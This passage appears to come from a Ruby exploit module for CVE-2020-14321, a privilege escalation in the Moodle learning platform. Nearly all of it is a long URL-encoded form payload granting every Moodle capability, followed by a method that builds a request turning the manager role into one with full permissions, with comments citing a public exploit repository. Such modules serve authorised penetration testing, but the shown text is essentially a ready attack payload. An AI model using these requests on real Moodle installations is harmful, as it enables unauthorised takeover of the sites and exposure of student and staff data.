oodle%2Fgrade%3Amanage=1&moodle%2Fgrade%3Amanagegradingforms=0&moodle%2Fgrade%3Amanagegradingforms=1&moodle%2Fgrade%3Amanageletters=0&moodle%2Fgrade%3Amanageletters=1&moodle%2Fgrade%3Amanageoutcomes=0&moodle%2Fgrade%3Amanageoutcomes=1&moodle%2Fgrade%3Aunlock=0&moodle%2Fgrade%3Aunlock=1&moodle%2Fgrade%3Aview=0&moodle%2Fgrade%3Aviewall=0&moodle%2Fgrade%3Aviewall=1&moodle%2Fgrade%3Aviewhidden=0&moodle%2Fgrade%3Aviewhidden=1&moodle%2Fnotes%3Amanage=0&moodle%2Fnotes%3Amanage=1&moodle%2Fnotes%3Aview=0&moodle%2Fnotes%3Aview=1&moodle%2Fquestion%3Aadd=0&moodle%2Fquestion%3Aadd=1&moodle%2Fquestion%3Aeditall=0&moodle%2Fquestion%3Aeditall=1&moodle%2Fquestion%3Aeditmine=0&moodle%2Fquestion%3Aeditmine=1&moodle%2Fquestion%3Aflag=0&moodle%2Fquestion%3Aflag=1&moodle%2Fquestion%3Amanagecategory=0&moodle%2Fquestion%3Amanagecategory=1&moodle%2Fquestion%3Amoveall=0&moodle%2Fquestion%3Amoveall=1&moodle%2Fquestion%3Amovemine=0&moodle%2Fquestion%3Amovemine=1&moodle%2Fquestion%3Atagall=0&moodle%2Fquestion%3Atagall=1&moodle%2Fquestion%3Atagmine=0&moodle%2Fquestion%3Atagmine=1&moodle%2Fquestion%3Auseall=0&moodle%2Fquestion%3Auseall=1&moodle%2Fquestion%3Ausemine=0&moodle%2Fquestion%3Ausemine=1&moodle%2Fquestion%3Aviewall=0&moodle%2Fquestion%3Aviewall=1&moodle%2Fquestion%3Aviewmine=0&moodle%2Fquestion%3Aviewmine=1&moodle%2Frating%3Arate=0&moodle%2Frating%3Arate=1&moodle%2Frating%3Aview=0&moodle%2Frating%3Aview=1&moodle%2Frating%3Aviewall=0&moodle%2Frating%3Aviewall=1&moodle%2Frating%3Aviewany=0&moodle%2Frating%3Aviewany=1&moodle%2Frestore%3Aconfigure=0&moodle%2Frestore%3Aconfigure=1&moodle%2Frestore%3Arestoreactivity=0&moodle%2Frestore%3Arestoreactivity=1&moodle%2Frestore%3Arestorecourse=0&moodle%2Frestore%3Arestorecourse=1&moodle%2Frestore%3Arestoresection=0&moodle%2Frestore%3Arestoresection=1&moodle%2Frestore%3Arestoretargetimport=0&moodle%2Frestore%3Arestoretargetimport=1&moodle%2Frestore%3Arolldates=0&moodle%2Frestore%3Arolldates=1&moodle%2Frestore%3Auploadfile=0&moodle%2Frestore%3Auploadfile=1&moodle%2Frestore%3Auserinfo=0&moodle%2Frestore%3Auserinfo=1&moodle%2Frestore%3Aviewautomatedfilearea=0&moodle%2Frestore%3Aviewautomatedfilearea=1&moodle%2Frole%3Aassign=0&moodle%2Frole%3Aassign=1&moodle%2Frole%3Aoverride=0&moodle%2Frole%3Aoverride=1&moodle%2Frole%3Areview=0&moodle%2Frole%3Areview=1&moodle%2Frole%3Asafeoverride=0&moodle%2Frole%3Aswitchroles=0&moodle%2Frole%3Aswitchroles=1&moodle%2Fsite%3Aviewreports=0&moodle%2Fsite%3Aviewreports=1&moodle%2Fuser%3Aloginas=0&moodle%2Fuser%3Aloginas=1&moodle%2Fuser%3Aviewdetails=0&moodle%2Fuser%3Aviewdetails=1&moodle%2Fuser%3Aviewhiddendetails=0&moodle%2Fuser%3Aviewhiddendetails=1&report%2Fcompletion%3Aview=0&report%2Fcompletion%3Aview=1&report%2Flog%3Aview=0&report%2Flog%3Aview=1&report%2Flog%3Aviewtoday=0&report%2Flog%3Aviewtoday=1&report%2Floglive%3Aview=0&report%2Floglive%3Aview=1&report%2Foutline%3Aview=0&report%2Foutline%3Aview=1&report%2Foutline%3Aviewuserreport=0&report%2Foutline%3Aviewuserreport=1&report%2Fparticipation%3Aview=0&report%2Fparticipation%3Aview=1&report%2Fprogress%3Aview=0&report%2Fprogress%3Aview=1&report%2Fstats%3Aview=0&report%2Fstats%3Aview=1&repository%2Fcontentbank%3Aaccesscoursecontent=0&repository%2Fcontentbank%3Aaccesscoursecontent=1&tool%2Fmonitor%3Amanagerules=0&tool%2Fmonitor%3Amanagerules=1&tool%2Fmonitor%3Asubscribe=0&tool%2Fmonitor%3Asubscribe=1&tool%2Frecyclebin%3Adeleteitems=0&tool%2Frecyclebin%3Adeleteitems=1&tool%2Frecyclebin%3Arestoreitems=0&tool%2Frecyclebin%3Arestoreitems=1&tool%2Frecyclebin%3Aviewitems=0&tool%2Frecyclebin%3Aviewitems=1&webservice%2Frest%3Ause=0&webservice%2Fsoap%3Ause=0&webservice%2Fxmlrpc%3Ause=0&atto%2Fh5p%3Aaddembed=0&atto%2Frecordrtc%3Arecordaudio=0&atto%2Frecordrtc%3Arecordvideo=0&booktool%2Fexportimscp%3Aexport=0&booktool%2Fimporthtml%3Aimport=0&booktool%2Fimporthtml%3Aimport=1&booktool%2Fprint%3Aprint=0&booktool%2Fprint%3Aprint=1&forumreport%2Fsummary%3Aview=0&forumreport%2Fsummary%3Aview=1&forumreport%2Fsummary%3Aviewall=0&forumreport%2Fsummary%3Aviewall=1&mod%2Fassign%3Aeditothersubmission=0&mod%2Fassign%3Aexportownsubmission=0&mod%2Fassign%3Aexportownsubmission=1&mod%2Fassign%3Agrade=0&mod%2Fassign%3Agrade=1&mod%2Fassign%3Agrantextension=0&mod%2Fassign%3Agrantextension=1&mod%2Fassign%3Amanageallocations=0&mod%2Fassign%3Amanageallocations=1&mod%2Fassign%3Amanagegrades=0&mod%2Fassign%3Amanagegrades=1&mod%2Fassign%3Amanageoverrides=0&mod%2Fassign%3Amanageoverrides=1&mod%2Fassign%3Areceivegradernotifications=0&mod%2Fassign%3Areceivegradernotifications=1&mod%2Fassign%3Areleasegrades=0&mod%2Fassign%3Areleasegrades=1&mod%2Fassign%3Arevealidentities=0&mod%2Fassign%3Arevealidentities=1&mod%2Fassign%3Areviewgrades=0&mod%2Fassign%3Areviewgrades=1&mod%2Fassign%3Ashowhiddengrader=0&mod%2Fassign%3Ashowhiddengrader=1&mod%2Fassign%3Asubmit=0&mod%2Fassign%3Aview=0&mod%2Fassign%3Aview=1&mod%2Fassign%3Aviewblinddetails=0&mod%2Fassign%3Aviewblinddetails=1&mod%2Fassign%3Aviewgrades=0&mod%2Fassign%3Aviewgrades=1&mod%2Fassignment%3Aexportownsubmission=0&mod%2Fassignment%3Aexportownsubmission=1&mod%2Fassignment%3Agrade=0&mod%2Fassignment%3Agrade=1&mod%2Fassignment%3Asubmit=0&mod%2Fassignment%3Aview=0&mod%2Fassignment%3Aview=1&mod%2Fbook%3Aedit=0&mod%2Fbook%3Aedit=1&mod%2Fbook%3Aread=0&mod%2Fbook%3Aread=1&mod%2Fbook%3Aviewhiddenchapters=0&mod%2Fbook%3Aviewhiddenchapters=1&mod%2Fchat%3Achat=0&mod%2Fchat%3Achat=1&mod%2Fchat%3Adeletelog=0&mod%2Fchat%3Adeletelog=1&mod%2Fchat%3Aexportparticipatedsession=0&mod%2Fchat%3Aexportparticipatedsession=1&mod%2Fchat%3Aexportsession=0&mod%2Fchat%3Aexportsession=1&mod%2Fchat%3Areadlog=0&mod%2Fchat%3Areadlog=1&mod%2Fchat%3Aview=0&mod%2Fchoice%3Achoose=0&mod%2Fchoice%3Adeleteresponses=0&mod%2Fchoice%3Adeleteresponses=1&mod%2Fchoice%3Adownloadresponses=0&mod%2Fchoice%3Adownloadresponses=1&mod%2Fchoice%3Areadresponses=0&mod%2Fchoice%3Areadresponses=1&mod%2Fchoice%3Aview=0&mod%2Fdata%3Aapprove=0&mod%2Fdata%3Aapprove=1&mod%2Fdata%3Acomment=0&mod%2Fdata%3Acomment=1&mod%2Fdata%3Aexportallentries=0&mod%2Fdata%3Aexportallentries=1&mod%2Fdata%3Aexportentry=0&mod%2Fdata%3Aexportentry=1&mod%2Fdata%3Aexportownentry=0&mod%2Fdata%3Aexportownentry=1&mod%2Fdata%3Aexportuserinfo=0&mod%2Fdata%3Aexportuserinfo=1&mod%2Fdata%3Amanagecomments=0&mod%2Fdata%3Amanagecomments=1&mod%2Fdata%3Amanageentries=0&mod%2Fdata%3Amanageentries=1&mod%2Fdata%3Amanagetemplates=0&mod%2Fdata%3Amanagetemplates=1&mod%2Fdata%3Amanageuserpresets=0&mod%2Fdata%3Amanageuserpresets=1&mod%2Fdata%3Arate=0&mod%2Fdata%3Arate=1&mod%2Fdata%3Aview=0&mod%2Fdata%3Aview=1&mod%2Fdata%3Aviewallratings=0&mod%2Fdata%3Aviewallratings=1&mod%2Fdata%3Aviewalluserpresets=0&mod%2Fdata%3Aviewalluserpresets=1&mod%2Fdata%3Aviewanyrating=0&mod%2Fdata%3Aviewanyrating=1&mod%2Fdata%3Aviewentry=0&mod%2Fdata%3Aviewentry=1&mod%2Fdata%3Aviewrating=0&mod%2Fdata%3Aviewrating=1&mod%2Fdata%3Awriteentry=0&mod%2Fdata%3Awriteentry=1&mod%2Ffeedback%3Acomplete=0&mod%2Ffeedback%3Acreateprivatetemplate=0&mod%2Ffeedback%3Acreateprivatetemplate=1&mod%2Ffeedback%3Acreatepublictemplate=0&mod%2Ffeedback%3Acreatepublictemplate=1&mod%2Ffeedback%3Adeletesubmissions=0&mod%2Ffeedback%3Adeletesubmissions=1&mod%2Ffeedback%3Adeletetemplate=0&mod%2Ffeedback%3Adeletetemplate=1&mod%2Ffeedback%3Aedititems=0&mod%2Ffeedback%3Aedititems=1&mod%2Ffeedback%3Amapcourse=0&mod%2Ffeedback%3Amapcourse=1&mod%2Ffeedback%3Areceivemail=0&mod%2Ffeedback%3Aview=0&mod%2Ffeedback%3Aview=1&mod%2Ffeedback%3Aviewanalysepage=0&mod%2Ffeedback%3Aviewanalysepage=1&mod%2Ffeedback%3Aviewreports=0&mod%2Ffeedback%3Aviewreports=1&mod%2Ffolder%3Amanagefiles=0&mod%2Ffolder%3Aview=0&mod%2Fforum%3Aaddnews=0&mod%2Fforum%3Aaddnews=1&mod%2Fforum%3Aaddquestion=0&mod%2Fforum%3Aaddquestion=1&mod%2Fforum%3Aallowforcesubscribe=0&mod%2Fforum%3Acanoverridecutoff=0&mod%2Fforum%3Acanoverridecutoff=1&mod%2Fforum%3Acanoverridediscussionlock=0&mod%2Fforum%3Acanoverridediscussionlock=1&mod%2Fforum%3Acanposttomygroups=0&mod%2Fforum%3Acanposttomygroups=1&mod%2Fforum%3Acantogglefavourite=0&mod%2Fforum%3Acreateattachment=0&mod%2Fforum%3Acreateattachment=1&mod%2Fforum%3Adeleteanypost=0&mod%2Fforum%3Adeleteanypost=1&mod%2Fforum%3Adeleteownpost=0&mod%2Fforum%3Adeleteownpost=1&mod%2Fforum%3Aeditanypost=0&mod%2Fforum%3Aeditanypost=1&mod%2Fforum%3Aexportdiscussion=0&mod%2Fforum%3Aexportdiscussion=1&mod%2Fforum%3Aexportforum=0&mod%2Fforum%3Aexportforum=1&mod%2Fforum%3Aexportownpost=0&mod%2Fforum%3Aexportownpost=1&mod%2Fforum%3Aexportpost=0&mod%2Fforum%3Aexportpost=1&mod%2Fforum%3Agrade=0&mod%2Fforum%3Agrade=1&mod%2Fforum%3Amanagesubscriptions=0&mod%2Fforum%3Amanagesubscriptions=1&mod%2Fforum%3Amovediscussions=0&mod%2Fforum%3Amovediscussions=1&mod%2Fforum%3Apindiscussions=0&mod%2Fforum%3Apindiscussions=1&mod%2Fforum%3Apostprivatereply=0&mod%2Fforum%3Apostprivatereply=1&mod%2Fforum%3Apostwithoutthrottling=0&mod%2Fforum%3Apostwithoutthrottling=1&mod%2Fforum%3Arate=0&mod%2Fforum%3Arate=1&mod%2Fforum%3Areadprivatereplies=0&mod%2Fforum%3Areadprivatereplies=1&mod%2Fforum%3Areplynews=0&mod%2Fforum%3Areplynews=1&mod%2Fforum%3Areplypost=0&mod%2Fforum%3Areplypost=1&mod%2Fforum%3Asplitdiscussions=0&mod%2Fforum%3Asplitdiscussions=1&mod%2Fforum%3Astartdiscussion=0&mod%2Fforum%3Astartdiscussion=1&mod%2Fforum%3Aviewallratings=0&mod%2Fforum%3Aviewallratings=1&mod%2Fforum%3Aviewanyrating=0&mod%2Fforum%3Aviewanyrating=1&mod%2Fforum%3Aviewdiscussion=0&mod%2Fforum%3Aviewdiscussion=1&mod%2Fforum%3Aviewhiddentimedposts=0&mod%2Fforum%3Aviewhiddentimedposts=1&mod%2Fforum%3Aviewqandawithoutposting=0&mod%2Fforum%3Aviewqandawithoutposting=1&mod%2Fforum%3Aviewrating=0&mod%2Fforum%3Aviewrating=1&mod%2Fforum%3Aviewsubscribers=0&mod%2Fforum%3Aviewsubscribers=1&mod%2Fglossary%3Aapprove=0&mod%2Fglossary%3Aapprove=1&mod%2Fglossary%3Acomment=0&mod%2Fglossary%3Acomment=1&mod%2Fglossary%3Aexport=0&mod%2Fglossary%3Aexport=1&mod%2Fglossary%3Aexportentry=0&mod%2Fglossary%3Aexportentry=1&mod%2Fglossary%3Aexportownentry=0&mod%2Fglossary%3Aexportownentry=1&mod%2Fglossary%3Aimport=0&mod%2Fglossary%3Aimport=1&mod%2Fglossary%3Amanagecategories=0&mod%2Fglossary%3Amanagecategories=1&mod%2Fglossary%3Amanagecomments=0&mod%2Fglossary%3Amanagecomments=1&mod%2Fglossary%3Amanageentries=0&mod%2Fglossary%3Amanageentries=1&mod%2Fglossary%3Arate=0&mod%2Fglossary%3Arate=1&mod%2Fglossary%3Aview=0&mod%2Fglossary%3Aview=1&mod%2Fglossary%3Aviewallratings=0&mod%2Fglossary%3Aviewallratings=1&mod%2Fglossary%3Aviewanyrating=0&mod%2Fglossary%3Aviewanyrating=1&mod%2Fglossary%3Aviewrating=0&mod%2Fglossary%3Aviewrating=1&mod%2Fglossary%3Awrite=0&mod%2Fglossary%3Awrite=1&mod%2Fh5pactivity%3Areviewattempts=0&mod%2Fh5pactivity%3Areviewattempts=1&mod%2Fh5pactivity%3Asubmit=0&mod%2Fh5pactivity%3Aview=0&mod%2Fh5pactivity%3Aview=1&mod%2Fimscp%3Aview=0&mod%2Flabel%3Aview=0&mod%2Flesson%3Aedit=0&mod%2Flesson%3Aedit=1&mod%2Flesson%3Agrade=0&mod%2Flesson%3Agrade=1&mod%2Flesson%3Amanage=0&mod%2Flesson%3Amanage=1&mod%2Flesson%3Amanageoverrides=0&mod%2Flesson%3Amanageoverrides=1&mod%2Flesson%3Aview=0&mod%2Flesson%3Aviewreports=0&mod%2Flesson%3Aviewreports=1&mod%2Flti%3Aadmin=0&mod%2Flti%3Amanage=0&mod%2Flti%3Amanage=1&mod%2Flti%3Aview=0&mod%2Flti%3Aview=1&mod%2Fpage%3Aview=0&mod%2Fquiz%3Aattempt=0&mod%2Fquiz%3Adeleteattempts=0&mod%2Fquiz%3Adeleteattempts=1&mod%2Fquiz%3Aemailconfirmsubmission=0&mod%2Fquiz%3Aemailnotifysubmission=0&mod%2Fquiz%3Aemailwarnoverdue=0&mod%2Fquiz%3Agrade=0&mod%2Fquiz%3Agrade=1&mod%2Fquiz%3Aignoretimelimits=0&mod%2Fquiz%3Amanage=0&mod%2Fquiz%3Amanage=1&mod%2Fquiz%3Amanageoverrides=0&mod%2Fquiz%3Amanageoverrides=1&mod%2Fquiz%3Apreview=0&mod%2Fquiz%3Apreview=1&mod%2Fquiz%3Aregrade=0&mod%2Fquiz%3Aregrade=1&mod%2Fquiz%3Areviewmyattempts=0&mod%2Fquiz%3Aview=0&mod%2Fquiz%3Aview=1&mod%2Fquiz%3Aviewreports=0&mod%2Fquiz%3Aviewreports=1&mod%2Fresource%3Aview=0&mod%2Fscorm%3Adeleteownresponses=0&mod%2Fscorm%3Adeleteresponses=0&mod%2Fscorm%3Adeleteresponses=1&mod%2Fscorm%3Asavetrack=0&mod%2Fscorm%3Asavetrack=1&mod%2Fscorm%3Askipview=0&mod%2Fscorm%3Aviewreport=0&mod%2Fscorm%3Aviewreport=1&mod%2Fscorm%3Aviewscores=0&mod%2Fscorm%3Aviewscores=1&mod%2Fsurvey%3Adownload=0&mod%2Fsurvey%3Adownload=1&mod%2Fsurvey%3Aparticipate=0&mod%2Fsurvey%3Aparticipate=1&mod%2Fsurvey%3Areadresponses=0&mod%2Fsurvey%3Areadresponses=1&mod%2Furl%3Aview=0&mod%2Fwiki%3Acreatepage=0&mod%2Fwiki%3Acreatepage=1&mod%2Fwiki%3Aeditcomment=0&mod%2Fwiki%3Aeditcomment=1&mod%2Fwiki%3Aeditpage=0&mod%2Fwiki%3Aeditpage=1&mod%2Fwiki%3Amanagecomment=0&mod%2Fwiki%3Amanagecomment=1&mod%2Fwiki%3Amanagefiles=0&mod%2Fwiki%3Amanagefiles=1&mod%2Fwiki%3Amanagewiki=0&mod%2Fwiki%3Amanagewiki=1&mod%2Fwiki%3Aoverridelock=0&mod%2Fwiki%3Aoverridelock=1&mod%2Fwiki%3Aviewcomment=0&mod%2Fwiki%3Aviewcomment=1&mod%2Fwiki%3Aviewpage=0&mod%2Fwiki%3Aviewpage=1&mod%2Fworkshop%3Aallocate=0&mod%2Fworkshop%3Aallocate=1&mod%2Fworkshop%3Adeletesubmissions=0&mod%2Fworkshop%3Adeletesubmissions=1&mod%2Fworkshop%3Aeditdimensions=0&mod%2Fworkshop%3Aeditdimensions=1&mod%2Fworkshop%3Aexportsubmissions=0&mod%2Fworkshop%3Aexportsubmissions=1&mod%2Fworkshop%3Aignoredeadlines=0&mod%2Fworkshop%3Aignoredeadlines=1&mod%2Fworkshop%3Amanageexamples=0&mod%2Fworkshop%3Amanageexamples=1&mod%2Fworkshop%3Aoverridegrades=0&mod%2Fworkshop%3Aoverridegrades=1&mod%2Fworkshop%3Apeerassess=0&mod%2Fworkshop%3Apublishsubmissions=0&mod%2Fworkshop%3Apublishsubmissions=1&mod%2Fworkshop%3Asubmit=0&mod%2Fworkshop%3Aswitchphase=0&mod%2Fworkshop%3Aswitchphase=1&mod%2Fworkshop%3Aview=0&mod%2Fworkshop%3Aview=1&mod%2Fworkshop%3Aviewallassessments=0&mod%2Fworkshop%3Aviewallassessments=1&mod%2Fworkshop%3Aviewallsubmissions=0&mod%2Fworkshop%3Aviewallsubmissions=1&mod%2Fworkshop%3Aviewauthornames=0&mod%2Fworkshop%3Aviewauthornames=1&mod%2Fworkshop%3Aviewauthorpublished=0&mod%2Fworkshop%3Aviewauthorpublished=1&mod%2Fworkshop%3Aviewpublishedsubmissions=0&mod%2Fworkshop%3Aviewpublishedsubmissions=1&mod%2Fworkshop%3Aviewreviewernames=0&mod%2Fworkshop%3Aviewreviewernames=1&moodle%2Fbackup%3Abackupactivity=0&moodle%2Fbackup%3Abackupactivity=1&moodle%2Fcompetency%3Acoursecompetencyconfigure=0&moodle%2Fcompetency%3Acoursecompetencyconfigure=1&moodle%2Fcourse%3Aactivityvisibility=0&moodle%2Fcourse%3Aactivityvisibility=1&moodle%2Fcourse%3Aignoreavailabilityrestrictions=0&moodle%2Fcourse%3Aignoreavailabilityrestrictions=1&moodle%2Fcourse%3Amanageactivities=0&moodle%2Fcourse%3Amanageactivities=1&moodle%2Fcourse%3Atogglecompletion=0&moodle%2Fcourse%3Aviewhiddenactivities=0&moodle%2Fcourse%3Aviewhiddenactivities=1&moodle%2Fh5p%3Adeploy=0&moodle%2Fh5p%3Adeploy=1&moodle%2Fh5p%3Asetdisplayoptions=0&moodle%2Fh5p%3Aupdatelibraries=0&moodle%2Fh5p%3Aupdatelibraries=1&moodle%2Fsite%3Aaccessallgroups=0&moodle%2Fsite%3Aaccessallgroups=1&moodle%2Fsite%3Amanagecontextlocks=0&moodle%2Fsite%3Atrustcontent=0&moodle%2Fsite%3Atrustcontent=1&moodle%2Fsite%3Aviewanonymousevents=0&moodle%2Fsite%3Aviewanonymousevents=1&moodle%2Fsite%3Aviewfullnames=0&moodle%2Fsite%3Aviewfullnames=1&moodle%2Fsite%3Aviewuseridentity=0&moodle%2Fsite%3Aviewuseridentity=1&quiz%2Fgrading%3Aviewidnumber=0&quiz%2Fgrading%3Aviewstudentnames=0&quiz%2Fstatistics%3Aview=0&quiz%2Fstatistics%3Aview=1&quizaccess%2Fseb%3Abypassseb=0&quizaccess%2Fseb%3Abypassseb=1&quizaccess%2Fseb%3Amanage_filemanager_sebconfigfile=0&quizaccess%2Fseb%3Amanage_filemanager_sebconfigfile=1&quizaccess%2Fseb%3Amanage_seb_activateurlfiltering=0&quizaccess%2Fseb%3Amanage_seb_activateurlfiltering=1&quizaccess%2Fseb%3Amanage_seb_allowedbrowserexamkeys=0&quizaccess%2Fseb%3Amanage_seb_allowedbrowserexamkeys=1&quizaccess%2Fseb%3Amanage_seb_allowreloadinexam=0&quizaccess%2Fseb%3Amanage_seb_allowreloadinexam=1&quizaccess%2Fseb%3Amanage_seb_allowspellchecking=0&quizaccess%2Fseb%3Amanage_seb_allowspellchecking=1&quizaccess%2Fseb%3Amanage_seb_allowuserquitseb=0&quizaccess%2Fseb%3Amanage_seb_allowuserquitseb=1&quizaccess%2Fseb%3Amanage_seb_enableaudiocontrol=0&quizaccess%2Fseb%3Amanage_seb_enableaudiocontrol=1&quizaccess%2Fseb%3Amanage_seb_expressionsallowed=0&quizaccess%2Fseb%3Amanage_seb_expressionsallowed=1&quizaccess%2Fseb%3Amanage_seb_expressionsblocked=0&quizaccess%2Fseb%3Amanage_seb_expressionsblocked=1&quizaccess%2Fseb%3Amanage_seb_filterembeddedcontent=0&quizaccess%2Fseb%3Amanage_seb_filterembeddedcontent=1&quizaccess%2Fseb%3Amanage_seb_linkquitseb=0&quizaccess%2Fseb%3Amanage_seb_linkquitseb=1&quizaccess%2Fseb%3Amanage_seb_muteonstartup=0&quizaccess%2Fseb%3Amanage_seb_muteonstartup=1&quizaccess%2Fseb%3Amanage_seb_quitpassword=0&quizaccess%2Fseb%3Amanage_seb_quitpassword=1&quizaccess%2Fseb%3Amanage_seb_regexallowed=0&quizaccess%2Fseb%3Amanage_seb_regexallowed=1&quizaccess%2Fseb%3Amanage_seb_regexblocked=0&quizaccess%2Fseb%3Amanage_seb_regexblocked=1&quizaccess%2Fseb%3Amanage_seb_requiresafeexambrowser=0&quizaccess%2Fseb%3Amanage_seb_requiresafeexambrowser=1&quizaccess%2Fseb%3Amanage_seb_showkeyboardlayout=0&quizaccess%2Fseb%3Amanage_seb_showkeyboardlayout=1&quizaccess%2Fseb%3Amanage_seb_showreloadbutton=0&quizaccess%2Fseb%3Amanage_seb_showreloadbutton=1&quizaccess%2Fseb%3Amanage_seb_showsebdownloadlink=0&quizaccess%2Fseb%3Amanage_seb_showsebdownloadlink=1&quizaccess%2Fseb%3Amanage_seb_showsebtaskbar=0&quizaccess%2Fseb%3Amanage_seb_showsebtaskbar=1&quizaccess%2Fseb%3Amanage_seb_showtime=0&quizaccess%2Fseb%3Amanage_seb_showtime=1&quizaccess%2Fseb%3Amanage_seb_showwificontrol=0&quizaccess%2Fseb%3Amanage_seb_showwificontrol=1&quizaccess%2Fseb%3Amanage_seb_templateid=0&quizaccess%2Fseb%3Amanage_seb_templateid=1&quizaccess%2Fseb%3Amanage_seb_userconfirmquit=0&quizaccess%2Fseb%3Amanage_seb_userconfirmquit=1&repository%2Fareafiles%3Aview=0&repository%2Fboxnet%3Aview=0&repository%2Fcontentbank%3Aview=0&repository%2Fcontentbank%3Aview=1&repository%2Fcoursefiles%3Aview=0&repository%2Fcoursefiles%3Aview=1&repository%2Fdropbox%3Aview=0&repository%2Fequella%3Aview=0&repository%2Ffilesystem%3Aview=0&repository%2Ffilesystem%3Aview=1&repository%2Fflickr%3Aview=0&repository%2Fflickr_public%3Aview=0&repository%2Fgoogledocs%3Aview=0&repository%2Flocal%3Aview=0&repository%2Flocal%3Aview=1&repository%2Fmerlot%3Aview=0&repository%2Fnextcloud%3Aview=0&repository%2Fonedrive%3Aview=0&repository%2Fpicasa%3Aview=0&repository%2Frecent%3Aview=0&repository%2Fs3%3Aview=0&repository%2Fskydrive%3Aview=0&repository%2Fupload%3Aview=0&repository%2Furl%3Aview=0&repository%2Fuser%3Aview=0&repository%2Fwebdav%3Aview=0&repository%2Fwebdav%3Aview=1&repository%2Fwikimedia%3Aview=0&repository%2Fyoutube%3Aview=0&block%2Factivity_modules%3Aaddinstance=0&block%2Factivity_modules%3Aaddinstance=1&block%2Factivity_results%3Aaddinstance=0&block%2Factivity_results%3Aaddinstance=1&block%2Fadmin_bookmarks%3Aaddinstance=0&block%2Fadmin_bookmarks%3Aaddinstance=1&block%2Fbadges%3Aaddinstance=0&block%2Fbadges%3Aaddinstance=1&block%2Fblog_menu%3Aaddinstance=0&block%2Fblog_menu%3Aaddinstance=1&block%2Fblog_recent%3Aaddinstance=0&block%2Fblog_recent%3Aaddinstance=1&block%2Fblog_tags%3Aaddinstance=0&block%2Fblog_tags%3Aaddinstance=1&block%2Fcalendar_month%3Aaddinstance=0&block%2Fcalendar_month%3Aaddinstance=1&block%2Fcalendar_upcoming%3Aaddinstance=0&block%2Fcalendar_upcoming%3Aaddinstance=1&block%2Fcomments%3Aaddinstance=0&block%2Fcomments%3Aaddinstance=1&block%2Fcompletionstatus%3Aaddinstance=0&block%2Fcompletionstatus%3Aaddinstance=1&block%2Fcourse_list%3Aaddinstance=0&block%2Fcourse_list%3Aaddinstance=1&block%2Fcourse_summary%3Aaddinstance=0&block%2Fcourse_summary%3Aaddinstance=1&block%2Ffeedback%3Aaddinstance=0&block%2Ffeedback%3Aaddinstance=1&block%2Fglobalsearch%3Aaddinstance=0&block%2Fglobalsearch%3Aaddinstance=1&block%2Fglossary_random%3Aaddinstance=0&block%2Fglossary_random%3Aaddinstance=1&block%2Fhtml%3Aaddinstance=0&block%2Fhtml%3Aaddinstance=1&block%2Flogin%3Aaddinstance=0&block%2Flogin%3Aaddinstance=1&block%2Fmentees%3Aaddinstance=0&block%2Fmentees%3Aaddinstance=1&block%2Fmnet_hosts%3Aaddinstance=0&block%2Fmnet_hosts%3Aaddinstance=1&block%2Fmyprofile%3Aaddinstance=0&block%2Fmyprofile%3Aaddinstance=1&block%2Fnavigation%3Aaddinstance=0&block%2Fnavigation%3Aaddinstance=1&block%2Fnews_items%3Aaddinstance=0&block%2Fnews_items%3Aaddinstance=1&block%2Fonline_users%3Aaddinstance=0&block%2Fonline_users%3Aaddinstance=1&block%2Fonline_users%3Aviewlist=0&block%2Fonline_users%3Aviewlist=1&block%2Fprivate_files%3Aaddinstance=0&block%2Fprivate_files%3Aaddinstance=1&block%2Fquiz_results%3Aaddinstance=0&block%2Fquiz_results%3Aaddinstance=1&block%2Frecent_activity%3Aaddinstance=0&block%2Frecent_activity%3Aaddinstance=1&block%2Frss_client%3Aaddinstance=0&block%2Frss_client%3Aaddinstance=1&block%2Frss_client%3Amanageanyfeeds=0&block%2Frss_client%3Amanageanyfeeds=1&block%2Frss_client%3Amanageownfeeds=0&block%2Frss_client%3Amanageownfeeds=1&block%2Fsearch_forums%3Aaddinstance=0&block%2Fsearch_forums%3Aaddinstance=1&block%2Fsection_links%3Aaddinstance=0&block%2Fsection_links%3Aaddinstance=1&block%2Fselfcompletion%3Aaddinstance=0&block%2Fselfcompletion%3Aaddinstance=1&block%2Fsettings%3Aaddinstance=0&block%2Fsettings%3Aaddinstance=1&block%2Fsite_main_menu%3Aaddinstance=0&block%2Fsite_main_menu%3Aaddinstance=1&block%2Fsocial_activities%3Aaddinstance=0&block%2Fsocial_activities%3Aaddinstance=1&block%2Ftag_flickr%3Aaddinstance=0&block%2Ftag_flickr%3Aaddinstance=1&block%2Ftag_youtube%3Aaddinstance=0&block%2Ftag_youtube%3Aaddinstance=1&block%2Ftags%3Aaddinstance=0&block%2Ftags%3Aaddinstance=1&moodle%2Fblock%3Aedit=0&moodle%2Fblock%3Aedit=1&moodle%2Fblock%3Aview=0&moodle%2Fsite%3Amanageblocks=0&moodle%2Fsite%3Amanageblocks=1" + end + + def manager_all_permissions(sess_key) + # https://github.com/HoangKien1020/CVE-2020-14321#payload-to-full-permissions + # or + # https://github.com/HoangKien1020/CVE-2020-14321/blob/master/cve202014321.py#L113 + # im sorry to anyone who has to read this. + "sesskey=#{sess_key}&return=define&resettype=none&savechanges=Save+changes&shortname=manager&name=&description=&archetype=manager&contextlevel10=0&contextlevel10=1&contextlevel30=0&contextlevel30=1&contextlevel40=0&contextlevel40=1&contextlevel50=0&contextlevel50=1&contextlevel70=0&contextlevel70=1&contextlevel80=0&contextlevel80=1&allowassign%5B%5D=&allowassign%5B%5D=1&allowassign%5B%5D=2&allowassign%5B%5D=3&allowassign%5B%5D=4&allowassign%5B%5D=5&allowassign%5B%5D=6&allowassign%5B%5D=7&allowassign%5B%5D=8&allowoverride%5B%5D=&allowoverride%5B%5D=1&allowoverride%5B%5D=2&allowoverride%5B%5D=3&allowoverride%5B%5D=4&allowoverride%5B%5D=5&allowoverride%5B%5D=6&allowoverride%5B%5D=7&allowoverride%5B%5D=8&allowswitch%5B%5D=&allowswitch%5B%5D=1&allowswitch%5B%5D=2&allowswitch%5B%5D=3&allowswitch%5B%5D=4&allowswitch%5B%5D=5&allowswitch%5B%5D=6&allowswitch%5B%5D=7&allowswitch%5B%5D=8&allowview%5B%5D=&allowview%5B%5D=1&allowview%5B%5D=2&allowview%5B%5D=3&allowview%5B%5D=4&allowview%5B%5D=5&allowview%5B%5D=6&allowview%5B%5D=7&allowview%5B%5D=8&block%2Fadmin_bookmarks%3Amyaddinstance=1&block%2Fbadges%3Amyaddinstance=1&block%2Fcalendar_month%3Amyaddinstance=1&block%2Fcalendar_upcoming%3Amyaddinstance=1&block%2Fcomments%3Amyaddinstance=1&block%2Fcourse_list%3Amyaddinstance=1&block%2Fglobalsearch%3Amyaddinstance=1&block%2Fglossary_random%3A